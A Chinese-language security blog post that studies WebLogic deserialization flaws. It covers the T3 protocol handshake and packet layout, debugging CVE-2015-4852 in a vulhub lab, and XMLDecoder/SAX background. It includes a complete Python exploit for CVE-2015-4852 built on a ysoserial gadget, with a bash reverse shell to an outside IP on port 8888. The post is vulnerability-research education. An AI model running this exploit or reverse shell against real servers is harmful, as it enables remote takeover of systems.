简介

官方介绍:Oracle WebLogic Server 是一个统一的可扩展平台,专用于开发、部署和运行 Java 应用等适用于本地环境和云环境的企业应用。它提供了一种强健、成熟和可扩展的 Java Enterprise Edition (EE) 和 Jakarta EE 实施方式。类似于Tomcat、Jboss等。

环境搭建

项目地址:https://github.com/QAX-A-Team/WeblogicEnvironment

weblogic安装地址:https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html

较老的版本比如weblogic10在这里找:https://edelivery.oracle.com/osdc/faces/SoftwareDelivery

jdk安装地址:https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html

有关WebLogic的基础知识可以看:https://paper.seebug.org/1012/,说的非常详细,这也是上面docker环境搭建的作者

很难受,找不到weblogic 10.3.6.0的版本了,感觉都和文章提到的文件不一样,那就只能起一个vulhub的weblogic环境,直接从里面把weblogic的文件拉出来然后调试了,所以不同版本的调试环境搭建先不在这里写了,等会具体分析再写

T3协议分析

这里直接用的CVE-2015-4852的exp来对攻击流量进行分析来复现,用的weblogic版本是10.3.6.0

T3协议介绍

T3 协议是 Weblogic RMI 调用时的通信协议

RMI 即远程方法调用,我们可以远程调用另一台 JVM虚拟机中对象上的方法,且数据传输过程中是序列化进行传输的

Java RMI 的基础通信协议是 JRMP ,但是也支持开发其他的协议来优化 RMI 的传输,这里的 Weblogic 的 T3 协议就是其优化版本,相比于JRMP协议多了一些特性。以下是T3协议的特点:

  1. 服务端可以持续追踪监控客户端是否存活(心跳机制),通常心跳的间隔为60秒,服务端在超过240秒未收到心跳即判定与客户端的连接丢失。
  2. 通过建立一次连接可以将全部数据包传输完成,优化了数据包大小和网络消耗。

协议分析

首先是CVE-2015-4852的exp

import socket
import sys
import struct
import re
import subprocess
import binascii
import time

def get_payload1(gadget, command):
JAR_FILE = 'ysoserial-all.jar'
popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
return popen.stdout.read()

def get_payload2(path):
with open(path, "rb") as f:
return f.read()

def exp(host, port, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))

handshake = "t3 10.3.1\nAS:255\nHL:19\nMS:10000000\n\n".encode()
sock.sendall(handshake)

time.sleep(0.5)

data = sock.recv(1024)
pattern = re.compile(r"HELO:(.*).false")
version = re.findall(pattern, data.decode())
if len(version) == 0:
print("Not Weblogic")
return


print("Weblogic {}".format(version[0]))
data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
payload = data_len + t3header + flag + payload
payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度,将payload的长度转换为大端模式写入
sock.send(payload)

if __name__ == "__main__":
host = "127.0.0.1"
port = 7001
gadget = "CommonsCollections1" #CommonsCollections1 Jdk7u21
command = "bash -i >& /dev/tcp/172.24.120.203/8888 0>&1"

payload = get_payload1(gadget, command)

exp(host, port, payload)

打过去之后我们可以抓到这样的一个流量包

image-20250409231358262

T3协议的结构分为请求头和请求体

请求头

请求头就是第一部分的红色数据,先和服务端进行一次handshake

t3 10.3.1
AS:255
HL:19
MS:10000000

第一行为“t3”加weblogic客户端的版本号

然后服务端就会返回相应的数据

HELO:10.3.6.0.false
AS:2048
HL:19

第一行为“HELO:”加weblogic服务器的版本号

所以该方法也可以用来探测服务端是否开放了T3协议,有一次面试的时候被问到了,结果不太清楚

请求体

然后就是请求体的部分了,这里就引用z_zz_zzz师傅的图了:http://drops.xmd5.com/static/drops/web-13470.html

image-20250409235802346

pic

首先是第一部分的数据,前四个字节表示的是整个数据包的长度,比如图中的(1711=0x6AF),然后跟着其余的一些数据

从第二部分开始就是java的序列化数据了,每一部分开头都是ac ed 00 05,表明这是序列化的内容,然后fe 01 00 00是反序列化的标识头,从攻击流量中也可以看到

image-20250410000643641

所以我们构造payload的话,就可以根据该格式,对序列化的内容进行替换

image-20250410001347941

从exp的写法也可以看到,都是按照格式来拼接的

CVE-2015-4852分析

前面协议的流量分析过了,这里就把这个cve的触发流程也分析一下

调试环境搭建

我们这里用的vulhub的2017的环境,是没有开启debug环境的,所以需要我们手动去开一下

这里先修改一下vulhub的docker compose文件,开放一下8453端口,因为8453是weblogic的远程调试端口

image-20250410130716455

这个5556是Node Manager的默认监听端口。Node Manager是WebLogic Server的一个Java程序,用于启动、关闭和监控服务器实例。

然后我们可以参考奇安信大哥的安装脚本里面的开启debug模式去手动操作一下

image-20250410130904372

像下面这样更改然后重启容器即可

image-20250410171029740

然后我们要把wlserver_10.3/server/lib文件夹拉出来添加到库里

image-20250410170301760

然后再配置远程调试

image-20250410170418983

启动一下debug

image-20250410171202544

成功连接

流程分析

T3协议接受的数据,是在weblogic.rjvm.InboundMsgAbbrev#readObject进行了一个反序列化的操作,里面调用了InboundMsgAbbrev.ServerChannelInputStream#readObject方法

image-20250410180315180

然后这里创建了一个内部类,并且调用了readObject方法,看一下ServerChannelInputStream的实现

image-20250410182506169

这里对resolveClass进行了重写,直接调用了父类的resolveClass,也没有进行任何过滤,后面就接着正常的反序列化流程了,这就导致了漏洞的产生,然后weblogic本身带了cc依赖,所以可以直接打cc链,或者其他的一些gadget

漏洞修复

官方修复是增加了黑名单

img

有关WebLogic的官方通告和安全补丁发布的网址:https://www.oracle.com/security-alerts/

这种单纯黑名单的方式肯定是容易被绕过的,后面出现的cve就有直接把这个绕了的

XMLDecoder相关

因为WebLogic的反序列化漏洞主要分为两类,一类是前面的T3协议的反序列化,另一类就是XMLDecoder相关的反序列化漏洞

所以这里了解一下XMLDecoder相关的基础知识

介绍

XML(Extensible Markup Language)是一种标记语言,在开发过程中,开发人员可以使用XML来进行数据的传输或充当配置文件。那么Java为了将对象持久化从而方便传输,就使得Philip Mine在JDK1.4中开发了一个用作持久化的工具,XMLDecoder与XMLEncoder。

JDK1.6和JDK1.7的Handler实现均有不同

xml解析过程

这部分的详细内容可以看一下https://paper.seebug.org/1012/

java中是有两个api用来序列化和反序列化xml的,XMLEncoder和XMLDecoder

XMLDecoder介绍

java中提供了几种不同的xml解析模型

解析模型 特点 适用场景
DOM(Document Object Model) 基于树结构的解析,将整个 XML 加载到内存,当XML数据量很大的时候,会非常消耗性能,因为需要对树进行遍历 需要频繁读写或操作 XML 结构
SAX(Simple API for XML Parsing) 事件驱动的流式解析,逐行读取,一般情况下不会有性能问题 处理大型 XML 文件,仅需读取数据
StAX(Streaming API for XML) 推拉式流解析,支持迭代式处理,JDK1.4开始支持 高效解析,兼顾性能和灵活性

java的XMLDecoder使用的是SAX解析规范。

SAX

SAX是简单XML访问接口,是一套XML解析规范,使用事件驱动的设计模式,那么事件驱动的设计模式自然就会有事件源和事件处理器以及相关的注册方法将事件源和事件处理器连接起来。

image-20250410232001780

这里通过JAXP的工厂方法生成SAX对象,SAX对象使用SAXParser.parer()作为事件源,ContentHandlerErrorHandlerDTDHandlerEntityResolver作为事件处理器,通过注册方法将二者连接起来。

Apache Xerces

Apache Xerces解析器是一套用于解析、验证、序列化和操作XML的软件库集合,它实现了很多解析规范,包括DOM和SAX规范,Java官方在JDK1.5集成了该解析器,并作为默认的XML的解析器。

参考

https://paper.seebug.org/1012/

环境搭建:https://github.com/QAX-A-Team/WeblogicEnvironment

https://cmisl.github.io/2024/09/08/Weblogic/

http://drops.xmd5.com/static/drops/web-13470.html